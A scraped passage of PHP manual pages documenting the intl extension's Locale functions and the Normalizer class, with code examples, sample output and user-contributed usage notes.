  • Tries to find out best available locale based on HTTP "Accept-Language" header

Locale::acceptFromHttp

locale_accept_from_http

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::acceptFromHttp -- locale_accept_from_http — Tries to find out best available locale based on HTTP "Accept-Language" header

Description

Object oriented style

public static string Locale::acceptFromHttp ( string $header )

Procedural style

string locale_accept_from_http ( string $header )

Tries to find locale that can satisfy the language list that is requested by the HTTP "Accept-Language" header.

Parameters

header

The string containing the "Accept-Language" header according to format in RFC 2616.

Return Values

The corresponding locale identifier.

Examples

Example #1 locale_accept_from_http() example

<?php
$locale = locale_accept_from_http($_SERVER['HTTP_ACCEPT_LANGUAGE']);
echo $locale;
?>

Example #2 OO example

<?php
$locale = Locale::acceptFromHttp($_SERVER['HTTP_ACCEPT_LANGUAGE']);
echo $locale;
?>

The above example will output:

en_US

See Also

  • locale_lookup() - Searches the language tag list for the best match to the language

User Contributed Notes

Adam Lange 15-Oct-2012 03:50
It's good to mention that if user browser will not send HTTP_ACCEPT_LANGUAGE, the output from:

 Locale::acceptFromHttp($_SERVER['HTTP_ACCEPT_LANGUAGE']);

Will be null.

So remember to set up a fail over scenario!


Canonicalize the locale string

  • « Locale::acceptFromHttp
  • Locale::composeLocale »
  • PHP Manual
  • Locale
  • Canonicalize the locale string

Locale::canonicalize

locale_canonicalize

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::canonicalize -- locale_canonicalize — Canonicalize the locale string

Description

public static string Locale::canonicalize ( string $locale )

Warning

This function is currently not documented; only its argument list is available.

Parameters

locale

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Returns a correctly ordered and delimited locale ID

  • « Locale::canonicalize
  • Locale::filterMatches »
  • PHP Manual
  • Locale
  • Returns a correctly ordered and delimited locale ID

Locale::composeLocale

locale_compose

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::composeLocale -- locale_compose — Returns a correctly ordered and delimited locale ID

Description

Object oriented style

public static string Locale::composeLocale ( array $subtags )

Procedural style

string locale_compose ( array $subtags )

Returns a correctly ordered and delimited locale ID the keys identify the particular locale ID subtags, and the values are the associated subtag values.

Parameters

subtags

an array containing a list of key-value pairs, where the keys identify the particular locale ID subtags, and the values are the associated subtag values.

Note:

The 'variant' and 'private' subtags can take maximum 15 values whereas 'extlang' can take maximum 3 values.e.g. Variants are allowed with the suffix ranging from 0-14. Hence the keys for the input array can be variant0, variant1, ...,variant14. In the returned locale id, the subtag is ordered by suffix resulting in variant0 followed by variant1 followed by variant2 and so on.

The 'variant', 'private' and 'extlang' multiple values can be specified both as array under specific key (e.g. 'variant') and as multiple numbered keys (e.g. 'variant0', 'variant1', etc.).

Return Values

The corresponding locale identifier.

Examples

Example #1 locale_compose() example

<?php
$arr = array(
    'language'=>'en' ,
    'script'  =>'Hans' ,
    'region'  =>'CN',
    'variant2'=>'rozaj' ,
    'variant1'=>'nedis' ,
    'private1'=>'prv1' ,
    'private2'=>'prv2'
);
echo locale_compose( $arr );
?>

Example #2 OO example

<?php
$arr = array(
    'language'=>'en' ,
    'script'  =>'Hans' ,
    'region'  =>'CN',
    'variant2'=>'rozaj' ,
    'variant1'=>'nedis' ,
    'private1'=>'prv1' ,
    'private2'=>'prv2'
);
echo Locale::composeLocale( $arr );
?>

The above example will output:

Locale: en_Hans_CN_nedis_rozaj_x_prv1_prv2

See Also

  • locale_parse() - Returns a key-value array of locale ID subtag elements.

User Contributed Notes

There are no user contributed notes for this page.


Checks if a language tag filter matches with locale

  • « Locale::composeLocale
  • Locale::getAllVariants »
  • PHP Manual
  • Locale
  • Checks if a language tag filter matches with locale

Locale::filterMatches

locale_filter_matches

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::filterMatches -- locale_filter_matches — Checks if a language tag filter matches with locale

Description

Object oriented style

public static bool Locale::filterMatches ( string $langtag , string $locale [, bool $canonicalize = false ] )

Procedural style

bool locale_filter_matches ( string $langtag , string $locale [, bool $canonicalize = false ] )

Checks if a $langtag filter matches with $locale according to RFC 4647's basic filtering algorithm

Parameters

langtag

The language tag to check

locale

The language range to check against

canonicalize

If true, the arguments will be converted to canonical form before matching.

Return Values

TRUE if $locale matches $langtag FALSE otherwise.

Examples

Example #1 locale_filter_matches() example

<?php
echo (locale_filter_matches('de-DEVA','de-DE', false)) ? "Matches" : "Does not match";
echo '; ';
echo (locale_filter_matches('de-DE_1996','de-DE', false)) ? "Matches" : "Does not match";
?>

Example #2 OO example

<?php
echo (Locale::filterMatches('de-DEVA','de-DE', false)) ? "Matches" : "Does not match";
echo '; ';
echo (Locale::filterMatches('de-DE-1996','de-DE', false)) ? "Matches" : "Does not match";
?>

The above example will output:

Does not match; Matches

See Also

  • locale_lookup() - Searches the language tag list for the best match to the language

User Contributed Notes

There are no user contributed notes for this page.


Gets the variants for the input locale

  • « Locale::filterMatches
  • Locale::getDefault »
  • PHP Manual
  • Locale
  • Gets the variants for the input locale

Locale::getAllVariants

locale_get_all_variants

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::getAllVariants -- locale_get_all_variants — Gets the variants for the input locale

Description

Object oriented style

public static array Locale::getAllVariants ( string $locale )

Procedural style

array locale_get_all_variants ( string $locale )

Gets the variants for the input locale

Parameters

locale

The locale to extract the variants from

Return Values

The array containing the list of all variants subtag for the locale or NULL if not present

Examples

Example #1 locale_get_all_variants() example

<?php
$arr = locale_get_all_variants('sl_IT_NEDIS_ROJAZ_1901');
var_export( $arr );
?>

Example #2 OO example

<?php
 $arr = Locale::getAllVariants('sl_IT_NEDIS_ROJAZ_1901');
 var_export( $arr );
?>

The above example will output:

array (
    0 => 'NEDIS',
    1 => 'ROJAZ',
    2 => '1901',
)

See Also

  • locale_get_primary_language() - Gets the primary language for the input locale
  • locale_get_script() - Gets the script for the input locale
  • locale_get_region() - Gets the region for the input locale

User Contributed Notes

There are no user contributed notes for this page.


Gets the default locale value from the INTL global 'default_locale'

  • « Locale::getAllVariants
  • Locale::getDisplayLanguage »
  • PHP Manual
  • Locale
  • Gets the default locale value from the INTL global 'default_locale'

Locale::getDefault

locale_get_default

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::getDefault -- locale_get_default — Gets the default locale value from the INTL global 'default_locale'

Description

Object oriented style

public static string Locale::getDefault ( void )

Procedural style

string locale_get_default ( void )

Gets the default locale value. At the PHP initialization this value is set to 'intl.default_locale' value from php.ini if that value exists or from ICU's function uloc_getDefault().

Parameters

Return Values

The current runtime locale

Examples

Example #1 locale_get_default() example

<?php
ini_set('intl.default_locale', 'de-DE');
echo locale_get_default();
echo '; ';
locale_set_default('fr');
echo locale_get_default();
?>

Example #2 OO example

<?php
ini_set('intl.default_locale', 'de-DE');
echo Locale::getDefault();
echo '; ';
Locale::setDefault('fr');
echo Locale::getDefault();
?>

The above example will output:

de-DE; fr

See Also

  • locale_set_default() - sets the default runtime locale

User Contributed Notes

There are no user contributed notes for this page.


Returns an appropriately localized display name for language of the inputlocale

  • « Locale::getDefault
  • Locale::getDisplayName »
  • PHP Manual
  • Locale
  • Returns an appropriately localized display name for language of the inputlocale

Locale::getDisplayLanguage

locale_get_display_language

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::getDisplayLanguage -- locale_get_display_language — Returns an appropriately localized display name for language of the inputlocale

Description

Object oriented style

public static string Locale::getDisplayLanguage ( string $locale [, string $in_locale ] )

Procedural style

string locale_get_display_language ( string $locale [, string $in_locale ] )

Returns an appropriately localized display name for language of the input locale. If is NULL then the default locale is used.

Parameters

locale

The locale to return a display language for

in_locale

Optional format locale to use to display the language name

Return Values

display name of the language for the $locale in the format appropriate for $in_locale.

Examples

Example #1 locale_get_display_language() example

<?php
echo locale_get_display_language('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo locale_get_display_language('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo locale_get_display_language('sl-Latn-IT-nedis', 'de');
?>

Example #2 OO example

<?php
echo Locale::getDisplayLanguage('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo Locale::getDisplayLanguage('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo Locale::getDisplayLanguage('sl-Latn-IT-nedis', 'de');
?>

The above example will output:

Slovenian;
slov\xc3\xa8ne;
Slowenisch

See Also

  • locale_get_display_name() - Returns an appropriately localized display name for the input locale
  • locale_get_display_script() - Returns an appropriately localized display name for script of the input locale
  • locale_get_display_region() - Returns an appropriately localized display name for region of the input locale
  • locale_get_display_variant() - Returns an appropriately localized display name for variants of the input locale

User Contributed Notes

heitor dot siller at gmail dot com 24-Jul-2011 11:43
To display special characters correctly in a web browser, it's a good idea to decode the result data with utf8_decode:

<?php

echo utf8_decode(Locale::getDisplayLanguage('sl-Latn-IT-nedis', 'fr'));

echo utf8_decode(Locale::getDisplayLanguage('sl-Latn-IT-nedis', 'pt-BR'));

?>


Returns an appropriately localized display name for the input locale

  • « Locale::getDisplayLanguage
  • Locale::getDisplayRegion »
  • PHP Manual
  • Locale
  • Returns an appropriately localized display name for the input locale

Locale::getDisplayName

locale_get_display_name

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::getDisplayName -- locale_get_display_name — Returns an appropriately localized display name for the input locale

Description

Object oriented style

public static string Locale::getDisplayName ( string $locale [, string $in_locale ] )

Procedural style

string locale_get_display_name ( string $locale [, string $in_locale ] )

Returns an appropriately localized display name for the input locale. If is NULL then the default locale is used.

Parameters

locale

The locale to return a display name for.

in_locale

optional format locale

Return Values

Display name of the locale in the format appropriate for $in_locale.

Examples

Example #1 locale_get_display_name() example

<?php
echo locale_get_display_name('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo locale_get_display_name('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo locale_get_display_name('sl-Latn-IT-nedis', 'de');
?>

Example #2 OO example

<?php
echo Locale::getDisplayName('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo Locale::getDisplayName('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo Locale::getDisplayName('sl-Latn-IT-nedis', 'de');
?>

The above example will output:

Slovenian (Latin, Italy, Natisone dialect);
slov\xc3\xa8ne (latin, Italie, dialecte de Natisone;
Slowenisch (Lateinisch, Italien, NEDIS)

See Also

  • locale_get_display_language() - Returns an appropriately localized display name for language of the inputlocale
  • locale_get_display_script() - Returns an appropriately localized display name for script of the input locale
  • locale_get_display_region() - Returns an appropriately localized display name for region of the input locale
  • locale_get_display_variant() - Returns an appropriately localized display name for variants of the input locale

User Contributed Notes

There are no user contributed notes for this page.


Returns an appropriately localized display name for region of the input locale

  • « Locale::getDisplayName
  • Locale::getDisplayScript »
  • PHP Manual
  • Locale
  • Returns an appropriately localized display name for region of the input locale

Locale::getDisplayRegion

locale_get_display_region

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::getDisplayRegion -- locale_get_display_region — Returns an appropriately localized display name for region of the input locale

Description

Object oriented style

public static string Locale::getDisplayRegion ( string $locale [, string $in_locale ] )

Procedural style

string locale_get_display_region ( string $locale [, string $in_locale ] )

Returns an appropriately localized display name for region of the input locale. If is NULL then the default locale is used.

Parameters

locale

The locale to return a display region for.

in_locale

Optional format locale to use to display the region name

Return Values

display name of the region for the $locale in the format appropriate for $in_locale.

Examples

Example #1 locale_get_display_region() example

<?php
echo locale_get_display_region('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo locale_get_display_region('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo locale_get_display_region('sl-Latn-IT-nedis', 'de');
?>

Example #2 OO example

<?php
echo Locale::getDisplayRegion('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo Locale::getDisplayRegion('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo Locale::getDisplayRegion('sl-Latn-IT-nedis', 'de');
?>

The above example will output:

Italy;
Italie;
Italien

See Also

  • locale_get_display_name() - Returns an appropriately localized display name for the input locale
  • locale_get_display_language() - Returns an appropriately localized display name for language of the inputlocale
  • locale_get_display_script() - Returns an appropriately localized display name for script of the input locale
  • locale_get_display_variant() - Returns an appropriately localized display name for variants of the input locale

User Contributed Notes

mark at SHOULDREMOVE dot moderndeveloperllc dot com 09-Aug-2014 12:21
You don't have to have a fully-formed locale for the first parameter. This makes the function useful for getting the country name from any locale:

<?php
var_dump(Locale::getDisplayRegion('-US', 'fr'));

//Returns
string 'États-Unis' (length=11)
?>


Returns an appropriately localized display name for script of the input locale

  • « Locale::getDisplayRegion
  • Locale::getDisplayVariant »
  • PHP Manual
  • Locale
  • Returns an appropriately localized display name for script of the input locale

Locale::getDisplayScript

locale_get_display_script

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::getDisplayScript -- locale_get_display_script — Returns an appropriately localized display name for script of the input locale

Description

Object oriented style

public static string Locale::getDisplayScript ( string $locale [, string $in_locale ] )

Procedural style

string locale_get_display_script ( string $locale [, string $in_locale ] )

Returns an appropriately localized display name for script of the input locale. If is NULL then the default locale is used.

Parameters

locale

The locale to return a display script for

in_locale

Optional format locale to use to display the script name

Return Values

Display name of the script for the $locale in the format appropriate for $in_locale.

Examples

Example #1 locale_get_display_script() example

<?php
echo locale_get_display_script('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo locale_get_display_script('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo locale_get_display_script('sl-Latn-IT-nedis', 'de');
?>

Example #2 OO example

<?php
echo Locale::getDisplayScript('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo Locale::getDisplayScript('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo Locale::getDisplayScript('sl-Latn-IT-nedis', 'de');
?>

The above example will output:

Latin;
latin;
Lateinisch

See Also

  • locale_get_display_name() - Returns an appropriately localized display name for the input locale
  • locale_get_display_language() - Returns an appropriately localized display name for language of the inputlocale
  • locale_get_display_region() - Returns an appropriately localized display name for region of the input locale
  • locale_get_display_variant() - Returns an appropriately localized display name for variants of the input locale

User Contributed Notes

There are no user contributed notes for this page.


Returns an appropriately localized display name for variants of the input locale

  • « Locale::getDisplayScript
  • Locale::getKeywords »
  • PHP Manual
  • Locale
  • Returns an appropriately localized display name for variants of the input locale

Locale::getDisplayVariant

locale_get_display_variant

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::getDisplayVariant -- locale_get_display_variant — Returns an appropriately localized display name for variants of the input locale

Description

Object oriented style

public static string Locale::getDisplayVariant ( string $locale [, string $in_locale ] )

Procedural style

string locale_get_display_variant ( string $locale [, string $in_locale ] )

Returns an appropriately localized display name for variants of the input locale. If is NULL then the default locale is used.

Parameters

locale

The locale to return a display variant for

in_locale

Optional format locale to use to display the variant name

Return Values

Display name of the variant for the $locale in the format appropriate for $in_locale.

Examples

Example #1 locale_get_display_variant() example

<?php
echo locale_get_display_variant('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo locale_get_display_variant('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo locale_get_display_variant('sl-Latn-IT-nedis', 'de');
?>

Example #2 OO example

<?php
echo Locale::getDisplayVariant('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo Locale::getDisplayVariant('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo Locale::getDisplayVariant('sl-Latn-IT-nedis', 'de');
?>

The above example will output:

Natisone dialect;
dialecte de Natisone;
NEDIS

See Also

  • locale_get_display_name() - Returns an appropriately localized display name for the input locale
  • locale_get_display_language() - Returns an appropriately localized display name for language of the inputlocale
  • locale_get_display_script() - Returns an appropriately localized display name for script of the input locale
  • locale_get_display_region() - Returns an appropriately localized display name for region of the input locale

User Contributed Notes

There are no user contributed notes for this page.


Gets the keywords for the input locale

  • « Locale::getDisplayVariant
  • Locale::getPrimaryLanguage »
  • PHP Manual
  • Locale
  • Gets the keywords for the input locale

Locale::getKeywords

locale_get_keywords

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::getKeywords -- locale_get_keywords — Gets the keywords for the input locale

Description

Object oriented style

public static array Locale::getKeywords ( string $locale )

Procedural style

array locale_get_keywords ( string $locale )

Gets the keywords for the input locale.

Parameters

locale

The locale to extract the keywords from

Return Values

Associative array containing the keyword-value pairs for this locale

Examples

Example #1 locale_get_keywords() example

<?php
$keywords_arr = locale_get_keywords( 'de_DE@currency=EUR;collation=PHONEBOOK' );
if ($keywords_arr) {
    foreach ($keywords_arr as $key => $value) {
        echo "$key = $value\n";
    }
}
?>

Example #2 OO example

<?php
$keywords_arr = Locale::getKeywords( 'de_DE@currency=EUR;collation=PHONEBOOK' );
if ($keywords_arr) {
    foreach( $keywords_arr as $key => $value){
        echo "$key = $value\n";
    }
}
?>

The above example will output:

collation = PHONEBOOK
currency = EUR

See Also

  • locale_get_all_variants() - Gets the variants for the input locale

User Contributed Notes

There are no user contributed notes for this page.


Gets the primary language for the input locale

  • « Locale::getKeywords
  • Locale::getRegion »
  • PHP Manual
  • Locale
  • Gets the primary language for the input locale

Locale::getPrimaryLanguage

locale_get_primary_language

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::getPrimaryLanguage -- locale_get_primary_language — Gets the primary language for the input locale

Description

Object oriented style

public static string Locale::getPrimaryLanguage ( string $locale )

Procedural style

string locale_get_primary_language ( string $locale )

Gets the primary language for the input locale

Parameters

locale

The locale to extract the primary language code from

Return Values

The language code associated with the language or NULL in case of error.

Examples

Example #1 locale_get_primary_language() example

<?php
echo locale_get_primary_language('zh-Hant');
?>

Example #2 OO example

<?php
echo Locale::getPrimaryLanguage('zh-Hant');
?>

The above example will output:

zh

See Also

  • locale_get_script() - Gets the script for the input locale
  • locale_get_region() - Gets the region for the input locale
  • locale_get_all_variants() - Gets the variants for the input locale

User Contributed Notes

There are no user contributed notes for this page.


Gets the region for the input locale

  • « Locale::getPrimaryLanguage
  • Locale::getScript »
  • PHP Manual
  • Locale
  • Gets the region for the input locale

Locale::getRegion

locale_get_region

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::getRegion -- locale_get_region — Gets the region for the input locale

Description

Object oriented style

public static string Locale::getRegion ( string $locale )

Procedural style

string locale_get_region ( string $locale )

Gets the region for the input locale.

Parameters

locale

The locale to extract the region code from

Return Values

The region subtag for the locale or NULL if not present

Examples

Example #1 locale_get_region() example

<?php
echo locale_get_region('de-CH-1901');
?>

Example #2 OO example

<?php
echo Locale::getRegion('de-CH-1901');
?>

The above example will output:

CH

See Also

  • locale_get_primary_language() - Gets the primary language for the input locale
  • locale_get_script() - Gets the script for the input locale
  • locale_get_all_variants() - Gets the variants for the input locale

User Contributed Notes

There are no user contributed notes for this page.


Gets the script for the input locale

  • « Locale::getRegion
  • Locale::lookup »
  • PHP Manual
  • Locale
  • Gets the script for the input locale

Locale::getScript

locale_get_script

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::getScript -- locale_get_script — Gets the script for the input locale

Description

Object oriented style

public static string Locale::getScript ( string $locale )

Procedural style

string locale_get_script ( string $locale )

Gets the script for the input locale.

Parameters

locale

The locale to extract the script code from

Return Values

The script subtag for the locale or NULL if not present

Examples

Example #1 locale_get_script() example

<?php
echo locale_get_script('sr-Cyrl');
?>

Example #2 OO example

<?php
echo Locale::getScript('sr-Cyrl');
?>

The above example will output:

Cyrl

See Also

  • locale_get_primary_language() - Gets the primary language for the input locale
  • locale_get_region() - Gets the region for the input locale
  • locale_get_all_variants() - Gets the variants for the input locale

User Contributed Notes

There are no user contributed notes for this page.


Searches the language tag list for the best match to the language

  • « Locale::getScript
  • Locale::parseLocale »
  • PHP Manual
  • Locale
  • Searches the language tag list for the best match to the language

Locale::lookup

locale_lookup

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::lookup -- locale_lookup — Searches the language tag list for the best match to the language

Description

Object oriented style

public static string Locale::lookup ( array $langtag , string $locale [, bool $canonicalize = false [, string $default ]] )

Procedural style

string locale_lookup ( array $langtag , string $locale [, bool $canonicalize = false [, string $default ]] )

Searches the items in langtag for the best match to the language range specified in locale according to RFC 4647's lookup algorithm.

Parameters

langtag

An array containing a list of language tags to compare to locale. Maximum 100 items allowed.

locale

The locale to use as the language range when matching.

canonicalize

If true, the arguments will be converted to canonical form before matching.

default

The locale to use if no match is found.

Return Values

The closest matching language tag or default value.

Examples

Example #1 locale_lookup() example

<?php
$arr = array(
    'de-DEVA',
    'de-DE-1996',
    'de',
    'de-De'
);
echo locale_lookup($arr, 'de-DE-1996-x-prv1-prv2', true, 'en_US');
?>

Example #2 OO example

<?php
$arr = array(
    'de-DEVA',
    'de-DE-1996',
    'de',
    'de-De'
);
echo Locale::lookup($arr, 'de-DE-1996-x-prv1-prv2', true, 'en_US');
?>

The above example will output:

de_de_1996

See Also

  • locale_filter_matches() - Checks if a language tag filter matches with locale

User Contributed Notes

vladimir at bashkirtsev dot com 28-Jul-2014 12:22
It worth to note that if $langtag array is empty this function returns empty string and not $default . Use array(false) if your $langtag array is empty in order to get default locale.


Returns a key-value array of locale ID subtag elements.

  • « Locale::lookup
  • Locale::setDefault »
  • PHP Manual
  • Locale
  • Returns a key-value array of locale ID subtag elements.

Locale::parseLocale

locale_parse

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::parseLocale -- locale_parse — Returns a key-value array of locale ID subtag elements.

Description

Object oriented style

public static array Locale::parseLocale ( string $locale )

Procedural style

array locale_parse ( string $locale )

Returns a key-value array of locale ID subtag elements.

Parameters

locale

The locale to extract the subtag array from. Note: The 'variant' and 'private' subtags can take maximum 15 values whereas 'extlang' can take maximum 3 values.

Return Values

Returns an array containing a list of key-value pairs, where the keys identify the particular locale ID subtags, and the values are the associated subtag values. The array will be ordered as the locale id subtags e.g. in the locale id if variants are '-varX-varY-varZ' then the returned array will have variant0=>varX , variant1=>varY , variant2=>varZ

Examples

Example #1 locale_parse() example

<?php
$arr = locale_parse('sl-Latn-IT-nedis');
if ($arr) {
    foreach ($arr as $key => $value) {
        echo "$key : $value , ";
    }
}
?>

Example #2 OO example

<?php
$arr = Locale::parseLocale('sl-Latn-IT-nedis');
if ($arr) {
    foreach ($arr as $key => $value) {
        echo "$key : $value , ";
    }
}
?>

The above example will output:

language : sl , script : Latn , region : IT , variant0 : NEDIS ,

See Also

  • locale_compose() - Returns a correctly ordered and delimited locale ID

User Contributed Notes

There are no user contributed notes for this page.


sets the default runtime locale

  • « Locale::parseLocale
  • Normalizer »
  • PHP Manual
  • Locale
  • sets the default runtime locale

Locale::setDefault

locale_set_default

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Locale::setDefault -- locale_set_default — sets the default runtime locale

Description

Object oriented style

public static bool Locale::setDefault ( string $locale )

Procedural style

bool locale_set_default ( string $locale )

Sets the default runtime locale to $locale. This changes the value of INTL global 'default_locale' locale identifier. UAX #35 extensions are accepted.

Parameters

locale

Is a BCP 47 compliant language tag containing the

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 locale_set_default() example

<?php
locale_set_default('de-DE');
echo locale_get_default();
?>

Example #2 OO example

<?php
Locale::setDefault('de-DE');
echo Locale::getDefault();
?>

The above example will output:

de-DE

See Also

  • locale_get_default() - Gets the default locale value from the INTL global 'default_locale'

User Contributed Notes

There are no user contributed notes for this page.


The Normalizer class

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Introduction

Normalization is a process that involves transforming characters and sequences of characters into a formally-defined underlying representation. This process is most important when text needs to be compared for sorting and searching, but it is also used when storing text to ensure that the text is stored in a consistent representation.

The Unicode Consortium has defined a number of normalization forms reflecting the various needs of applications:

  • Normalization Form D (NFD) - Canonical Decomposition
  • Normalization Form C (NFC) - Canonical Decomposition followed by Canonical Composition
  • Normalization Form KD (NFKD) - Compatibility Decomposition
  • Normalization Form KC (NFKC) - Compatibility Decomposition followed by Canonical Composition
The different forms are defined in terms of a set of transformations on the text, transformations that are expressed by both an algorithm and a set of data files.

Class synopsis

Normalizer {
/* Methods */
public static bool isNormalized ( string $input [, string $form = Normalizer::FORM_C ] )
public static string normalize ( string $input [, string $form = Normalizer::FORM_C ] )
}

Predefined Constants

The following constants define the normalization form used by the normalizer:

Normalizer::FORM_C (string)
Normalization Form C (NFC) - Canonical Decomposition followed by Canonical Composition
Normalizer::FORM_D (string)
Normalization Form D (NFD) - Canonical Decomposition
Normalizer::FORM_KC (string)
Normalization Form KC (NFKC) - Compatibility Decomposition, followed by Canonical Composition
Normalizer::FORM_KD (string)
Normalization Form KD (NFKD) - Compatibility Decomposition
Normalizer::NONE (string)
No decomposition/composition
Normalizer::OPTION_DEFAULT (string)
Default normalization options

See Also

  • » Unicode Normalization
  • » Unicode Normalization FAQ
  • » ICU User Guide - Normalization
  • » ICU API Reference - Normalization

Table of Contents

  • Normalizer::isNormalized — Checks if the provided string is already in the specified normalization form.
  • Normalizer::normalize — Normalizes the input provided and returns the normalized string

User Contributed Notes

There are no user contributed notes for this page.


Checks if the provided string is already in the specified normalization form.

  • « Normalizer
  • Normalizer::normalize »
  • PHP Manual
  • Normalizer
  • Checks if the provided string is already in the specified normalization form.

Normalizer::isNormalized

normalizer_is_normalized

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Normalizer::isNormalized -- normalizer_is_normalized — Checks if the provided string is already in the specified normalization form.

Description

Object oriented style

public static bool Normalizer::isNormalized ( string $input [, string $form = Normalizer::FORM_C ] )

Procedural style

bool normalizer_is_normalized ( string $input [, string $form = Normalizer::FORM_C ] )

Checks if the provided string is already in the specified normalization form.

Parameters

input

The input string to normalize

form

One of the normalization forms.

Return Values

TRUE if normalized, FALSE otherwise or if there an error

Examples

Example #1 normalizer_is_normalized() example

<?php
$char_A_ring = "\xC3\x85"; // 'LATIN CAPITAL LETTER A WITH RING ABOVE' (U+00C5)
$char_combining_ring_above = "\xCC\x8A";  // 'COMBINING RING ABOVE' (U+030A)

$char_orig = 'A' . $char_combining_ring_above;
$char_norm = normalizer_normalize( 'A' . $char_combining_ring_above, Normalizer::FORM_C );

echo ( normalizer_is_normalized($char_orig, Normalizer::FORM_C) ) ? "normalized" : "not normalized";
echo '; ';
echo ( normalizer_is_normalized($char_norm, Normalizer::FORM_C) ) ? "normalized" : "not normalized";
?>

Example #2 OO example

<?php
$char_A_ring = "\xC3\x85"; // 'LATIN CAPITAL LETTER A WITH RING ABOVE' (U+00C5)
$char_combining_ring_above = "\xCC\x8A";  // 'COMBINING RING ABOVE' (U+030A)

$char_orig = 'A' . $char_combining_ring_above;
$char_norm = Normalizer::normalize( 'A' . $char_combining_ring_above, Normalizer::FORM_C );

echo ( Normalizer::isNormalized($char_orig, Normalizer::FORM_C) ) ? "normalized" : "not normalized";
echo '; ';
echo ( Normalizer::isNormalized($char_norm, Normalizer::FORM_C) ) ? "normalized" : "not normalized";
?>

The above example will output:

not normalized; normalized

See Also

  • normalizer_normalize() - Normalizes the input provided and returns the normalized string

User Contributed Notes

There are no user contributed notes for this page.


Normalizes the input provided and returns the normalized string

  • « Normalizer::isNormalized
  • MessageFormatter »
  • PHP Manual
  • Normalizer
  • Normalizes the input provided and returns the normalized string

Normalizer::normalize

normalizer_normalize

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Normalizer::normalize -- normalizer_normalize — Normalizes the input provided and returns the normalized string

Description

Object oriented style

public static string Normalizer::normalize ( string $input [, string $form = Normalizer::FORM_C ] )

Procedural style

string normalizer_normalize ( string $input [, string $form = Normalizer::FORM_C ] )

Normalizes the input provided and returns the normalized string

Parameters

input

The input string to normalize

form

One of the normalization forms.

Return Values

The normalized string or NULL if an error occurred.

Examples

Example #1 normalizer_normalize() example

<?php
$char_A_ring = "\xC3\x85"; // 'LATIN CAPITAL LETTER A WITH RING ABOVE' (U+00C5)
$char_combining_ring_above = "\xCC\x8A";  // 'COMBINING RING ABOVE' (U+030A)

$char_1 = normalizer_normalize( $char_A_ring, Normalizer::FORM_C );
$char_2 = normalizer_normalize( 'A' . $char_combining_ring_above, Normalizer::FORM_C );

echo urlencode($char_1);
echo ' ';
echo urlencode($char_2);
?>

Example #2 OO example

<?php
$char_A_ring = "\xC3\x85"; // 'LATIN CAPITAL LETTER A WITH RING ABOVE' (U+00C5)
$char_combining_ring_above = "\xCC\x8A";  // 'COMBINING RING ABOVE' (U+030A)

$char_1 = Normalizer::normalize( $char_A_ring, Normalizer::FORM_C );
$char_2 = Normalizer::normalize( 'A' . $char_combining_ring_above, Normalizer::FORM_C );

echo urlencode($char_1);
echo ' ';
echo urlencode($char_2);
?>

The above example will output:

%C3%85 %C3%85

See Also

  • normalizer_is_normalized() - Checks if the provided string is already in the specified normalization form.

User Contributed Notes

tom dot vom dot berg at online dot de 12-Apr-2014 05:54
If you get error messages while starting apache of xampp package with activated extension=intl.dll, copy the files

    * icudt##.dll
    * icuin##.dll
    * icuio##.dll
    * icule##.dll
    * iculx##.dll
    * icutu##.dll
    * icuuc##.dll

## = version number

from "/program files/xampp/php"
into your "/program files/xampp/apache/bin" or whereever your xampp resides :-)
o_shes01 at uni-muenster dot de 23-Jan-2011 05:59
This method/function will return boolean false if $input is not a valid utf-8-string, e.g.

<?php
   var_dump(Normalizer::normalize("\xFF"));
   // prints "bool(false)"
?>
akniep at rayo dot info 30-Jul-2009 06:03
Especially when matching texts against each-other or against keywords, it is helpful to normalize the texts before.
The following function removes all diacritics (marks like accents) from a given UTF8-encoded texts and returns ASCii-text.

Be sure to have the PHP-Normalizer-extension (intl and icu) installed.

Tipp: You may also want to map the text to lower case before execute matching procedures ...

<?php

function normalizeUtf8String( $s)
{
    // Normalizer-class missing!
    if (! class_exists("Normalizer", $autoload = false))
        return $original_string;

    // maps German (umlauts) and other European characters onto two characters before just removing diacritics
    $s    = preg_replace( '@\x{00c4}@u'    , "AE",    $s );    // umlaut Ä => AE
